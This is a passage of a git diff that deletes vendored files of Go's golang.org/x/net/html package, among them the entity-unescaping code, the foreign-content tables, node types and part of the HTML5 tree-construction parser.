"nvap;": {'\u224D', '\u20D2'}, - "nvge;": {'\u2265', '\u20D2'}, - "nvgt;": {'\u003E', '\u20D2'}, - "nvle;": {'\u2264', '\u20D2'}, - "nvlt;": {'\u003C', '\u20D2'}, - "nvltrie;": {'\u22B4', '\u20D2'}, - "nvrtrie;": {'\u22B5', '\u20D2'}, - "nvsim;": {'\u223C', '\u20D2'}, - "race;": {'\u223D', '\u0331'}, - "smtes;": {'\u2AAC', '\uFE00'}, - "sqcaps;": {'\u2293', '\uFE00'}, - "sqcups;": {'\u2294', '\uFE00'}, - "varsubsetneq;": {'\u228A', '\uFE00'}, - "varsubsetneqq;": {'\u2ACB', '\uFE00'}, - "varsupsetneq;": {'\u228B', '\uFE00'}, - "varsupsetneqq;": {'\u2ACC', '\uFE00'}, - "vnsub;": {'\u2282', '\u20D2'}, - "vnsup;": {'\u2283', '\u20D2'}, - "vsubnE;": {'\u2ACB', '\uFE00'}, - "vsubne;": {'\u228A', '\uFE00'}, - "vsupnE;": {'\u2ACC', '\uFE00'}, - "vsupne;": {'\u228B', '\uFE00'}, -} diff --git a/vendor/golang.org/x/net/html/escape.go b/vendor/golang.org/x/net/html/escape.go deleted file mode 100644 index d856139620..0000000000 --- a/vendor/golang.org/x/net/html/escape.go +++ /dev/null @@ -1,258 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -import ( - "bytes" - "strings" - "unicode/utf8" -) - -// These replacements permit compatibility with old numeric entities that -// assumed Windows-1252 encoding. -// https://html.spec.whatwg.org/multipage/syntax.html#consume-a-character-reference -var replacementTable = [...]rune{ - '\u20AC', // First entry is what 0x80 should be replaced with. - '\u0081', - '\u201A', - '\u0192', - '\u201E', - '\u2026', - '\u2020', - '\u2021', - '\u02C6', - '\u2030', - '\u0160', - '\u2039', - '\u0152', - '\u008D', - '\u017D', - '\u008F', - '\u0090', - '\u2018', - '\u2019', - '\u201C', - '\u201D', - '\u2022', - '\u2013', - '\u2014', - '\u02DC', - '\u2122', - '\u0161', - '\u203A', - '\u0153', - '\u009D', - '\u017E', - '\u0178', // Last entry is 0x9F. - // 0x00->'\uFFFD' is handled programmatically. - // 0x0D->'\u000D' is a no-op. -} - -// unescapeEntity reads an entity like "<" from b[src:] and writes the -// corresponding "<" to b[dst:], returning the incremented dst and src cursors. -// Precondition: b[src] == '&' && dst <= src. -// attribute should be true if parsing an attribute value. -func unescapeEntity(b []byte, dst, src int, attribute bool) (dst1, src1 int) { - // https://html.spec.whatwg.org/multipage/syntax.html#consume-a-character-reference - - // i starts at 1 because we already know that s[0] == '&'. - i, s := 1, b[src:] - - if len(s) <= 1 { - b[dst] = b[src] - return dst + 1, src + 1 - } - - if s[i] == '#' { - if len(s) <= 3 { // We need to have at least "&#.". - b[dst] = b[src] - return dst + 1, src + 1 - } - i++ - c := s[i] - hex := false - if c == 'x' || c == 'X' { - hex = true - i++ - } - - x := '\x00' - for i < len(s) { - c = s[i] - i++ - if hex { - if '0' <= c && c <= '9' { - x = 16*x + rune(c) - '0' - continue - } else if 'a' <= c && c <= 'f' { - x = 16*x + rune(c) - 'a' + 10 - continue - } else if 'A' <= c && c <= 'F' { - x = 16*x + rune(c) - 'A' + 10 - continue - } - } else if '0' <= c && c <= '9' { - x = 10*x + rune(c) - '0' - continue - } - if c != ';' { - i-- - } - break - } - - if i <= 3 { // No characters matched. - b[dst] = b[src] - return dst + 1, src + 1 - } - - if 0x80 <= x && x <= 0x9F { - // Replace characters from Windows-1252 with UTF-8 equivalents. - x = replacementTable[x-0x80] - } else if x == 0 || (0xD800 <= x && x <= 0xDFFF) || x > 0x10FFFF { - // Replace invalid characters with the replacement character. - x = '\uFFFD' - } - - return dst + utf8.EncodeRune(b[dst:], x), src + i - } - - // Consume the maximum number of characters possible, with the - // consumed characters matching one of the named references. - - for i < len(s) { - c := s[i] - i++ - // Lower-cased characters are more common in entities, so we check for them first. - if 'a' <= c && c <= 'z' || 'A' <= c && c <= 'Z' || '0' <= c && c <= '9' { - continue - } - if c != ';' { - i-- - } - break - } - - entityName := string(s[1:i]) - if entityName == "" { - // No-op. - } else if attribute && entityName[len(entityName)-1] != ';' && len(s) > i && s[i] == '=' { - // No-op. - } else if x := entity[entityName]; x != 0 { - return dst + utf8.EncodeRune(b[dst:], x), src + i - } else if x := entity2[entityName]; x[0] != 0 { - dst1 := dst + utf8.EncodeRune(b[dst:], x[0]) - return dst1 + utf8.EncodeRune(b[dst1:], x[1]), src + i - } else if !attribute { - maxLen := len(entityName) - 1 - if maxLen > longestEntityWithoutSemicolon { - maxLen = longestEntityWithoutSemicolon - } - for j := maxLen; j > 1; j-- { - if x := entity[entityName[:j]]; x != 0 { - return dst + utf8.EncodeRune(b[dst:], x), src + j + 1 - } - } - } - - dst1, src1 = dst+i, src+i - copy(b[dst:dst1], b[src:src1]) - return dst1, src1 -} - -// unescape unescapes b's entities in-place, so that "a<b" becomes "a': - esc = ">" - case '"': - // """ is shorter than """. - esc = """ - case '\r': - esc = " " - default: - panic("unrecognized escape character") - } - s = s[i+1:] - if _, err := w.WriteString(esc); err != nil { - return err - } - i = strings.IndexAny(s, escapedChars) - } - _, err := w.WriteString(s) - return err -} - -// EscapeString escapes special characters like "<" to become "<". It -// escapes only five such characters: <, >, &, ' and ". -// UnescapeString(EscapeString(s)) == s always holds, but the converse isn't -// always true. -func EscapeString(s string) string { - if strings.IndexAny(s, escapedChars) == -1 { - return s - } - var buf bytes.Buffer - escape(&buf, s) - return buf.String() -} - -// UnescapeString unescapes entities like "<" to become "<". It unescapes a -// larger range of entities than EscapeString escapes. For example, "á" -// unescapes to "ÃĄ", as does "á" and "&xE1;". -// UnescapeString(EscapeString(s)) == s always holds, but the converse isn't -// always true. -func UnescapeString(s string) string { - for _, c := range s { - if c == '&' { - return string(unescape([]byte(s), false)) - } - } - return s -} diff --git a/vendor/golang.org/x/net/html/foreign.go b/vendor/golang.org/x/net/html/foreign.go deleted file mode 100644 index 74774c458a..0000000000 --- a/vendor/golang.org/x/net/html/foreign.go +++ /dev/null @@ -1,225 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -import ( - "strings" -) - -func adjustAttributeNames(aa []Attribute, nameMap map[string]string) { - for i := range aa { - if newName, ok := nameMap[aa[i].Key]; ok { - aa[i].Key = newName - } - } -} - -func adjustForeignAttributes(aa []Attribute) { - for i, a := range aa { - if a.Key == "" || a.Key[0] != 'x' { - continue - } - switch a.Key { - case "xlink:actuate", "xlink:arcrole", "xlink:href", "xlink:role", "xlink:show", - "xlink:title", "xlink:type", "xml:base", "xml:lang", "xml:space", "xmlns:xlink": - j := strings.Index(a.Key, ":") - aa[i].Namespace = a.Key[:j] - aa[i].Key = a.Key[j+1:] - } - } -} - -func htmlIntegrationPoint(n *Node) bool { - if n.Type != ElementNode { - return false - } - switch n.Namespace { - case "math": - if n.Data == "annotation-xml" { - for _, a := range n.Attr { - if a.Key == "encoding" { - val := strings.ToLower(a.Val) - if val == "text/html" || val == "application/xhtml+xml" { - return true - } - } - } - } - case "svg": - switch n.Data { - case "desc", "foreignObject", "title": - return true - } - } - return false -} - -func mathMLTextIntegrationPoint(n *Node) bool { - if n.Namespace != "math" { - return false - } - switch n.Data { - case "mi", "mo", "mn", "ms", "mtext": - return true - } - return false -} - -// Section 12.2.6.5. -var breakout = map[string]bool{ - "b": true, - "big": true, - "blockquote": true, - "body": true, - "br": true, - "center": true, - "code": true, - "dd": true, - "div": true, - "dl": true, - "dt": true, - "em": true, - "embed": true, - "h1": true, - "h2": true, - "h3": true, - "h4": true, - "h5": true, - "h6": true, - "head": true, - "hr": true, - "i": true, - "img": true, - "li": true, - "listing": true, - "menu": true, - "meta": true, - "nobr": true, - "ol": true, - "p": true, - "pre": true, - "ruby": true, - "s": true, - "small": true, - "span": true, - "strong": true, - "strike": true, - "sub": true, - "sup": true, - "table": true, - "tt": true, - "u": true, - "ul": true, - "var": true, -} - -// Section 12.2.6.5. -var svgTagNameAdjustments = map[string]string{ - "altglyph": "altGlyph", - "altglyphdef": "altGlyphDef", - "altglyphitem": "altGlyphItem", - "animatecolor": "animateColor", - "animatemotion": "animateMotion", - "animatetransform": "animateTransform", - "clippath": "clipPath", - "feblend": "feBlend", - "fecolormatrix": "feColorMatrix", - "fecomponenttransfer": "feComponentTransfer", - "fecomposite": "feComposite", - "feconvolvematrix": "feConvolveMatrix", - "fediffuselighting": "feDiffuseLighting", - "fedisplacementmap": "feDisplacementMap", - "fedistantlight": "feDistantLight", - "feflood": "feFlood", - "fefunca": "feFuncA", - "fefuncb": "feFuncB", - "fefuncg": "feFuncG", - "fefuncr": "feFuncR", - "fegaussianblur": "feGaussianBlur", - "feimage": "feImage", - "femerge": "feMerge", - "femergenode": "feMergeNode", - "femorphology": "feMorphology", - "feoffset": "feOffset", - "fepointlight": "fePointLight", - "fespecularlighting": "feSpecularLighting", - "fespotlight": "feSpotLight", - "fetile": "feTile", - "feturbulence": "feTurbulence", - "foreignobject": "foreignObject", - "glyphref": "glyphRef", - "lineargradient": "linearGradient", - "radialgradient": "radialGradient", - "textpath": "textPath", -} - -// Section 12.2.6.1 -var mathMLAttributeAdjustments = map[string]string{ - "definitionurl": "definitionURL", -} - -var svgAttributeAdjustments = map[string]string{ - "attributename": "attributeName", - "attributetype": "attributeType", - "basefrequency": "baseFrequency", - "baseprofile": "baseProfile", - "calcmode": "calcMode", - "clippathunits": "clipPathUnits", - "contentscripttype": "contentScriptType", - "contentstyletype": "contentStyleType", - "diffuseconstant": "diffuseConstant", - "edgemode": "edgeMode", - "externalresourcesrequired": "externalResourcesRequired", - "filterunits": "filterUnits", - "glyphref": "glyphRef", - "gradienttransform": "gradientTransform", - "gradientunits": "gradientUnits", - "kernelmatrix": "kernelMatrix", - "kernelunitlength": "kernelUnitLength", - "keypoints": "keyPoints", - "keysplines": "keySplines", - "keytimes": "keyTimes", - "lengthadjust": "lengthAdjust", - "limitingconeangle": "limitingConeAngle", - "markerheight": "markerHeight", - "markerunits": "markerUnits", - "markerwidth": "markerWidth", - "maskcontentunits": "maskContentUnits", - "maskunits": "maskUnits", - "numoctaves": "numOctaves", - "pathlength": "pathLength", - "patterncontentunits": "patternContentUnits", - "patterntransform": "patternTransform", - "patternunits": "patternUnits", - "pointsatx": "pointsAtX", - "pointsaty": "pointsAtY", - "pointsatz": "pointsAtZ", - "preservealpha": "preserveAlpha", - "preserveaspectratio": "preserveAspectRatio", - "primitiveunits": "primitiveUnits", - "refx": "refX", - "refy": "refY", - "repeatcount": "repeatCount", - "repeatdur": "repeatDur", - "requiredextensions": "requiredExtensions", - "requiredfeatures": "requiredFeatures", - "specularconstant": "specularConstant", - "specularexponent": "specularExponent", - "spreadmethod": "spreadMethod", - "startoffset": "startOffset", - "stddeviation": "stdDeviation", - "stitchtiles": "stitchTiles", - "surfacescale": "surfaceScale", - "systemlanguage": "systemLanguage", - "tablevalues": "tableValues", - "targetx": "targetX", - "targety": "targetY", - "textlength": "textLength", - "viewbox": "viewBox", - "viewtarget": "viewTarget", - "xchannelselector": "xChannelSelector", - "ychannelselector": "yChannelSelector", - "zoomandpan": "zoomAndPan", -} diff --git a/vendor/golang.org/x/net/html/node.go b/vendor/golang.org/x/net/html/node.go deleted file mode 100644 index 633ee15dc5..0000000000 --- a/vendor/golang.org/x/net/html/node.go +++ /dev/null @@ -1,220 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -import ( - "golang.org/x/net/html/atom" -) - -// A NodeType is the type of a Node. -type NodeType uint32 - -const ( - ErrorNode NodeType = iota - TextNode - DocumentNode - ElementNode - CommentNode - DoctypeNode - scopeMarkerNode -) - -// Section 12.2.4.3 says "The markers are inserted when entering applet, -// object, marquee, template, td, th, and caption elements, and are used -// to prevent formatting from "leaking" into applet, object, marquee, -// template, td, th, and caption elements". -var scopeMarker = Node{Type: scopeMarkerNode} - -// A Node consists of a NodeType and some Data (tag name for element nodes, -// content for text) and are part of a tree of Nodes. Element nodes may also -// have a Namespace and contain a slice of Attributes. Data is unescaped, so -// that it looks like "a 0 { - return (*s)[i-1] - } - return nil -} - -// index returns the index of the top-most occurrence of n in the stack, or -1 -// if n is not present. -func (s *nodeStack) index(n *Node) int { - for i := len(*s) - 1; i >= 0; i-- { - if (*s)[i] == n { - return i - } - } - return -1 -} - -// contains returns whether a is within s. -func (s *nodeStack) contains(a atom.Atom) bool { - for _, n := range *s { - if n.DataAtom == a && n.Namespace == "" { - return true - } - } - return false -} - -// insert inserts a node at the given index. -func (s *nodeStack) insert(i int, n *Node) { - (*s) = append(*s, nil) - copy((*s)[i+1:], (*s)[i:]) - (*s)[i] = n -} - -// remove removes a node from the stack. It is a no-op if n is not present. -func (s *nodeStack) remove(n *Node) { - i := s.index(n) - if i == -1 { - return - } - copy((*s)[i:], (*s)[i+1:]) - j := len(*s) - 1 - (*s)[j] = nil - *s = (*s)[:j] -} - -type insertionModeStack []insertionMode - -func (s *insertionModeStack) pop() (im insertionMode) { - i := len(*s) - im = (*s)[i-1] - *s = (*s)[:i-1] - return im -} - -func (s *insertionModeStack) top() insertionMode { - if i := len(*s); i > 0 { - return (*s)[i-1] - } - return nil -} diff --git a/vendor/golang.org/x/net/html/parse.go b/vendor/golang.org/x/net/html/parse.go deleted file mode 100644 index c801a6a04e..0000000000 --- a/vendor/golang.org/x/net/html/parse.go +++ /dev/null @@ -1,2432 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -import ( - "errors" - "fmt" - "io" - "strings" - - a "golang.org/x/net/html/atom" -) - -// A parser implements the HTML5 parsing algorithm: -// https://html.spec.whatwg.org/multipage/syntax.html#tree-construction -type parser struct { - // tokenizer provides the tokens for the parser. - tokenizer *Tokenizer - // tok is the most recently read token. - tok Token - // Self-closing tags like
are treated as start tags, except that - // hasSelfClosingToken is set while they are being processed. - hasSelfClosingToken bool - // doc is the document root element. - doc *Node - // The stack of open elements (section 12.2.4.2) and active formatting - // elements (section 12.2.4.3). - oe, afe nodeStack - // Element pointers (section 12.2.4.4). - head, form *Node - // Other parsing state flags (section 12.2.4.5). - scripting, framesetOK bool - // The stack of template insertion modes - templateStack insertionModeStack - // im is the current insertion mode. - im insertionMode - // originalIM is the insertion mode to go back to after completing a text - // or inTableText insertion mode. - originalIM insertionMode - // fosterParenting is whether new elements should be inserted according to - // the foster parenting rules (section 12.2.6.1). - fosterParenting bool - // quirks is whether the parser is operating in "quirks mode." - quirks bool - // fragment is whether the parser is parsing an HTML fragment. - fragment bool - // context is the context element when parsing an HTML fragment - // (section 12.4). - context *Node -} - -func (p *parser) top() *Node { - if n := p.oe.top(); n != nil { - return n - } - return p.doc -} - -// Stop tags for use in popUntil. These come from section 12.2.4.2. -var ( - defaultScopeStopTags = map[string][]a.Atom{ - "": {a.Applet, a.Caption, a.Html, a.Table, a.Td, a.Th, a.Marquee, a.Object, a.Template}, - "math": {a.AnnotationXml, a.Mi, a.Mn, a.Mo, a.Ms, a.Mtext}, - "svg": {a.Desc, a.ForeignObject, a.Title}, - } -) - -type scope int - -const ( - defaultScope scope = iota - listItemScope - buttonScope - tableScope - tableRowScope - tableBodyScope - selectScope -) - -// popUntil pops the stack of open elements at the highest element whose tag -// is in matchTags, provided there is no higher element in the scope's stop -// tags (as defined in section 12.2.4.2). It returns whether or not there was -// such an element. If there was not, popUntil leaves the stack unchanged. -// -// For example, the set of stop tags for table scope is: "html", "table". If -// the stack was: -// ["html", "body", "font", "table", "b", "i", "u"] -// then popUntil(tableScope, "font") would return false, but -// popUntil(tableScope, "i") would return true and the stack would become: -// ["html", "body", "font", "table", "b"] -// -// If an element's tag is in both the stop tags and matchTags, then the stack -// will be popped and the function returns true (provided, of course, there was -// no higher element in the stack that was also in the stop tags). For example, -// popUntil(tableScope, "table") returns true and leaves: -// ["html", "body", "font"] -func (p *parser) popUntil(s scope, matchTags ...a.Atom) bool { - if i := p.indexOfElementInScope(s, matchTags...); i != -1 { - p.oe = p.oe[:i] - return true - } - return false -} - -// indexOfElementInScope returns the index in p.oe of the highest element whose -// tag is in matchTags that is in scope. If no matching element is in scope, it -// returns -1. -func (p *parser) indexOfElementInScope(s scope, matchTags ...a.Atom) int { - for i := len(p.oe) - 1; i >= 0; i-- { - tagAtom := p.oe[i].DataAtom - if p.oe[i].Namespace == "" { - for _, t := range matchTags { - if t == tagAtom { - return i - } - } - switch s { - case defaultScope: - // No-op. - case listItemScope: - if tagAtom == a.Ol || tagAtom == a.Ul { - return -1 - } - case buttonScope: - if tagAtom == a.Button { - return -1 - } - case tableScope: - if tagAtom == a.Html || tagAtom == a.Table || tagAtom == a.Template { - return -1 - } - case selectScope: - if tagAtom != a.Optgroup && tagAtom != a.Option { - return -1 - } - default: - panic("unreachable") - } - } - switch s { - case defaultScope, listItemScope, buttonScope: - for _, t := range defaultScopeStopTags[p.oe[i].Namespace] { - if t == tagAtom { - return -1 - } - } - } - } - return -1 -} - -// elementInScope is like popUntil, except that it doesn't modify the stack of -// open elements. -func (p *parser) elementInScope(s scope, matchTags ...a.Atom) bool { - return p.indexOfElementInScope(s, matchTags...) != -1 -} - -// clearStackToContext pops elements off the stack of open elements until a -// scope-defined element is found. -func (p *parser) clearStackToContext(s scope) { - for i := len(p.oe) - 1; i >= 0; i-- { - tagAtom := p.oe[i].DataAtom - switch s { - case tableScope: - if tagAtom == a.Html || tagAtom == a.Table || tagAtom == a.Template { - p.oe = p.oe[:i+1] - return - } - case tableRowScope: - if tagAtom == a.Html || tagAtom == a.Tr || tagAtom == a.Template { - p.oe = p.oe[:i+1] - return - } - case tableBodyScope: - if tagAtom == a.Html || tagAtom == a.Tbody || tagAtom == a.Tfoot || tagAtom == a.Thead || tagAtom == a.Template { - p.oe = p.oe[:i+1] - return - } - default: - panic("unreachable") - } - } -} - -// generateImpliedEndTags pops nodes off the stack of open elements as long as -// the top node has a tag name of dd, dt, li, optgroup, option, p, rb, rp, rt or rtc. -// If exceptions are specified, nodes with that name will not be popped off. -func (p *parser) generateImpliedEndTags(exceptions ...string) { - var i int -loop: - for i = len(p.oe) - 1; i >= 0; i-- { - n := p.oe[i] - if n.Type == ElementNode { - switch n.DataAtom { - case a.Dd, a.Dt, a.Li, a.Optgroup, a.Option, a.P, a.Rb, a.Rp, a.Rt, a.Rtc: - for _, except := range exceptions { - if n.Data == except { - break loop - } - } - continue - } - } - break - } - - p.oe = p.oe[:i+1] -} - -// addChild adds a child node n to the top element, and pushes n onto the stack -// of open elements if it is an element node. -func (p *parser) addChild(n *Node) { - if p.shouldFosterParent() { - p.fosterParent(n) - } else { - p.top().AppendChild(n) - } - - if n.Type == ElementNode { - p.oe = append(p.oe, n) - } -} - -// shouldFosterParent returns whether the next node to be added should be -// foster parented. -func (p *parser) shouldFosterParent() bool { - if p.fosterParenting { - switch p.top().DataAtom { - case a.Table, a.Tbody, a.Tfoot, a.Thead, a.Tr: - return true - } - } - return false -} - -// fosterParent adds a child node according to the foster parenting rules. -// Section 12.2.6.1, "foster parenting". -func (p *parser) fosterParent(n *Node) { - var table, parent, prev, template *Node - var i int - for i = len(p.oe) - 1; i >= 0; i-- { - if p.oe[i].DataAtom == a.Table { - table = p.oe[i] - break - } - } - - var j int - for j = len(p.oe) - 1; j >= 0; j-- { - if p.oe[j].DataAtom == a.Template { - template = p.oe[j] - break - } - } - - if template != nil && (table == nil || j > i) { - template.AppendChild(n) - return - } - - if table == nil { - // The foster parent is the html element. - parent = p.oe[0] - } else { - parent = table.Parent - } - if parent == nil { - parent = p.oe[i-1] - } - - if table != nil { - prev = table.PrevSibling - } else { - prev = parent.LastChild - } - if prev != nil && prev.Type == TextNode && n.Type == TextNode { - prev.Data += n.Data - return - } - - parent.InsertBefore(n, table) -} - -// addText adds text to the preceding node if it is a text node, or else it -// calls addChild with a new text node. -func (p *parser) addText(text string) { - if text == "" { - return - } - - if p.shouldFosterParent() { - p.fosterParent(&Node{ - Type: TextNode, - Data: text, - }) - return - } - - t := p.top() - if n := t.LastChild; n != nil && n.Type == TextNode { - n.Data += text - return - } - p.addChild(&Node{ - Type: TextNode, - Data: text, - }) -} - -// addElement adds a child element based on the current token. -func (p *parser) addElement() { - p.addChild(&Node{ - Type: ElementNode, - DataAtom: p.tok.DataAtom, - Data: p.tok.Data, - Attr: p.tok.Attr, - }) -} - -// Section 12.2.4.3. -func (p *parser) addFormattingElement() { - tagAtom, attr := p.tok.DataAtom, p.tok.Attr - p.addElement() - - // Implement the Noah's Ark clause, but with three per family instead of two. - identicalElements := 0 -findIdenticalElements: - for i := len(p.afe) - 1; i >= 0; i-- { - n := p.afe[i] - if n.Type == scopeMarkerNode { - break - } - if n.Type != ElementNode { - continue - } - if n.Namespace != "" { - continue - } - if n.DataAtom != tagAtom { - continue - } - if len(n.Attr) != len(attr) { - continue - } - compareAttributes: - for _, t0 := range n.Attr { - for _, t1 := range attr { - if t0.Key == t1.Key && t0.Namespace == t1.Namespace && t0.Val == t1.Val { - // Found a match for this attribute, continue with the next attribute. - continue compareAttributes - } - } - // If we get here, there is no attribute that matches a. - // Therefore the element is not identical to the new one. - continue findIdenticalElements - } - - identicalElements++ - if identicalElements >= 3 { - p.afe.remove(n) - } - } - - p.afe = append(p.afe, p.top()) -} - -// Section 12.2.4.3. -func (p *parser) clearActiveFormattingElements() { - for { - n := p.afe.pop() - if len(p.afe) == 0 || n.Type == scopeMarkerNode { - return - } - } -} - -// Section 12.2.4.3. -func (p *parser) reconstructActiveFormattingElements() { - n := p.afe.top() - if n == nil { - return - } - if n.Type == scopeMarkerNode || p.oe.index(n) != -1 { - return - } - i := len(p.afe) - 1 - for n.Type != scopeMarkerNode && p.oe.index(n) == -1 { - if i == 0 { - i = -1 - break - } - i-- - n = p.afe[i] - } - for { - i++ - clone := p.afe[i].clone() - p.addChild(clone) - p.afe[i] = clone - if i == len(p.afe)-1 { - break - } - } -} - -// Section 12.2.5. -func (p *parser) acknowledgeSelfClosingTag() { - p.hasSelfClosingToken = false -} - -// An insertion mode (section 12.2.4.1) is the state transition function from -// a particular state in the HTML5 parser's state machine. It updates the -// parser's fields depending on parser.tok (where ErrorToken means EOF). -// It returns whether the token was consumed. -type insertionMode func(*parser) bool - -// setOriginalIM sets the insertion mode to return to after completing a text or -// inTableText insertion mode. -// Section 12.2.4.1, "using the rules for". -func (p *parser) setOriginalIM() { - if p.originalIM != nil { - panic("html: bad parser state: originalIM was set twice") - } - p.originalIM = p.im -} - -// Section 12.2.4.1, "reset the insertion mode". -func (p *parser) resetInsertionMode() { - for i := len(p.oe) - 1; i >= 0; i-- { - n := p.oe[i] - last := i == 0 - if last && p.context != nil { - n = p.context - } - - switch n.DataAtom { - case a.Select: - if !last { - for ancestor, first := n, p.oe[0]; ancestor != first; { - ancestor = p.oe[p.oe.index(ancestor)-1] - switch ancestor.DataAtom { - case a.Template: - p.im = inSelectIM - return - case a.Table: - p.im = inSelectInTableIM - return - } - } - } - p.im = inSelectIM - case a.Td, a.Th: - // TODO: remove this divergence from the HTML5 spec. - // - // See https://bugs.chromium.org/p/chromium/issues/detail?id=829668 - p.im = inCellIM - case a.Tr: - p.im = inRowIM - case a.Tbody, a.Thead, a.Tfoot: - p.im = inTableBodyIM - case a.Caption: - p.im = inCaptionIM - case a.Colgroup: - p.im = inColumnGroupIM - case a.Table: - p.im = inTableIM - case a.Template: - // TODO: remove this divergence from the HTML5 spec. - if n.Namespace != "" { - continue - } - p.im = p.templateStack.top() - case a.Head: - // TODO: remove this divergence from the HTML5 spec. - // - // See https://bugs.chromium.org/p/chromium/issues/detail?id=829668 - p.im = inHeadIM - case a.Body: - p.im = inBodyIM - case a.Frameset: - p.im = inFramesetIM - case a.Html: - if p.head == nil { - p.im = beforeHeadIM - } else { - p.im = afterHeadIM - } - default: - if last { - p.im = inBodyIM - return - } - continue - } - return - } -} - -const whitespace = " \t\r\n\f" - -// Section 12.2.6.4.1. -func initialIM(p *parser) bool { - switch p.tok.Type { - case TextToken: - p.tok.Data = strings.TrimLeft(p.tok.Data, whitespace) - if len(p.tok.Data) == 0 { - // It was all whitespace, so ignore it. - return true - } - case CommentToken: - p.doc.AppendChild(&Node{ - Type: CommentNode, - Data: p.tok.Data, - }) - return true - case DoctypeToken: - n, quirks := parseDoctype(p.tok.Data) - p.doc.AppendChild(n) - p.quirks = quirks - p.im = beforeHTMLIM - return true - } - p.quirks = true - p.im = beforeHTMLIM - return false -} - -// Section 12.2.6.4.2. -func beforeHTMLIM(p *parser) bool { - switch p.tok.Type { - case DoctypeToken: - // Ignore the token. - return true - case TextToken: - p.tok.Data = strings.TrimLeft(p.tok.Data, whitespace) - if len(p.tok.Data) == 0 { - // It was all whitespace, so ignore it. - return true - } - case StartTagToken: - if p.tok.DataAtom == a.Html { - p.addElement() - p.im = beforeHeadIM - return true - } - case EndTagToken: - switch p.tok.DataAtom { - case a.Head, a.Body, a.Html, a.Br: - p.parseImpliedToken(StartTagToken, a.Html, a.Html.String()) - return false - default: - // Ignore the token. - return true - } - case CommentToken: - p.doc.AppendChild(&Node{ - Type: CommentNode, - Data: p.tok.Data, - }) - return true - } - p.parseImpliedToken(StartTagToken, a.Html, a.Html.String()) - return false -} - -// Section 12.2.6.4.3. -func beforeHeadIM(p *parser) bool { - switch p.tok.Type { - case TextToken: - p.tok.Data = strings.TrimLeft(p.tok.Data, whitespace) - if len(p.tok.Data) == 0 { - // It was all whitespace, so ignore it. - return true - } - case StartTagToken: - switch p.tok.DataAtom { - case a.Head: - p.addElement() - p.head = p.top() - p.im = inHeadIM - return true - case a.Html: - return inBodyIM(p) - } - case EndTagToken: - switch p.tok.DataAtom { - case a.Head, a.Body, a.Html, a.Br: - p.parseImpliedToken(StartTagToken, a.Head, a.Head.String()) - return false - default: - // Ignore the token. - return true - } - case CommentToken: - p.addChild(&Node{ - Type: CommentNode, - Data: p.tok.Data, - }) - return true - case DoctypeToken: - // Ignore the token. - return true - } - - p.parseImpliedToken(StartTagToken, a.Head, a.Head.String()) - return false -} - -// Section 12.2.6.4.4. -func inHeadIM(p *parser) bool { - switch p.tok.Type { - case TextToken: - s := strings.TrimLeft(p.tok.Data, whitespace) - if len(s) < len(p.tok.Data) { - // Add the initial whitespace to the current node. - p.addText(p.tok.Data[:len(p.tok.Data)-len(s)]) - if s == "" { - return true - } - p.tok.Data = s - } - case StartTagToken: - switch p.tok.DataAtom { - case a.Html: - return inBodyIM(p) - case a.Base, a.Basefont, a.Bgsound, a.Command, a.Link, a.Meta: - p.addElement() - p.oe.pop() - p.acknowledgeSelfClosingTag() - return true - case a.Noscript: - p.addElement() - if p.scripting { - p.setOriginalIM() - p.im = textIM - } else { - p.im = inHeadNoscriptIM - } - return true - case a.Script, a.Title, a.Noframes, a.Style: - p.addElement() - p.setOriginalIM() - p.im = textIM - return true - case a.Head: - // Ignore the token. - return true - case a.Template: - p.addElement() - p.afe = append(p.afe, &scopeMarker) - p.framesetOK = false - p.im = inTemplateIM - p.templateStack = append(p.templateStack, inTemplateIM) - return true - } - case EndTagToken: - switch p.tok.DataAtom { - case a.Head: - p.oe.pop() - p.im = afterHeadIM - return true - case a.Body, a.Html, a.Br: - p.parseImpliedToken(EndTagToken, a.Head, a.Head.String()) - return false - case a.Template: - if !p.oe.contains(a.Template) { - return true - } - // TODO: remove this divergence from the HTML5 spec. - // - // See https://bugs.chromium.org/p/chromium/issues/detail?id=829668 - p.generateImpliedEndTags() - for i := len(p.oe) - 1; i >= 0; i-- { - if n := p.oe[i]; n.Namespace == "" && n.DataAtom == a.Template { - p.oe = p.oe[:i] - break - } - } - p.clearActiveFormattingElements() - p.templateStack.pop() - p.resetInsertionMode() - return true - default: - // Ignore the token. - return true - } - case CommentToken: - p.addChild(&Node{ - Type: CommentNode, - Data: p.tok.Data, - }) - return true - case DoctypeToken: - // Ignore the token. - return true - } - - p.parseImpliedToken(EndTagToken, a.Head, a.Head.String()) - return false -} - -// 12.2.6.4.5. -func inHeadNoscriptIM(p *parser) bool { - switch p.tok.Type { - case DoctypeToken: - // Ignore the token. - return true - case StartTagToken: - switch p.tok.DataAtom { - case a.Html: - return inBodyIM(p) - case a.Basefont, a.Bgsound, a.Link, a.Meta, a.Noframes, a.Style: - return inHeadIM(p) - case a.Head, a.Noscript: - // Ignore the token. - return true - } - case EndTagToken: - switch p.tok.DataAtom { - case a.Noscript, a.Br: - default: - // Ignore the token. - return true - } - case TextToken: - s := strings.TrimLeft(p.tok.Data, whitespace) - if len(s) == 0 { - // It was all whitespace. - return inHeadIM(p) - } - case CommentToken: - return inHeadIM(p) - } - p.oe.pop() - if p.top().DataAtom != a.Head { - panic("html: the new current node will be a head element.") - } - p.im = inHeadIM - if p.tok.DataAtom == a.Noscript { - return true - } - return false -} - -// Section 12.2.6.4.6. -func afterHeadIM(p *parser) bool { - switch p.tok.Type { - case TextToken: - s := strings.TrimLeft(p.tok.Data, whitespace) - if len(s) < len(p.tok.Data) { - // Add the initial whitespace to the current node. - p.addText(p.tok.Data[:len(p.tok.Data)-len(s)]) - if s == "" { - return true - } - p.tok.Data = s - } - case StartTagToken: - switch p.tok.DataAtom { - case a.Html: - return inBodyIM(p) - case a.Body: - p.addElement() - p.framesetOK = false - p.im = inBodyIM - return true - case a.Frameset: - p.addElement() - p.im = inFramesetIM - return true - case a.Base, a.Basefont, a.Bgsound, a.Link, a.Meta, a.Noframes, a.Script, a.Style, a.Template, a.Title: - p.oe = append(p.oe, p.head) - defer 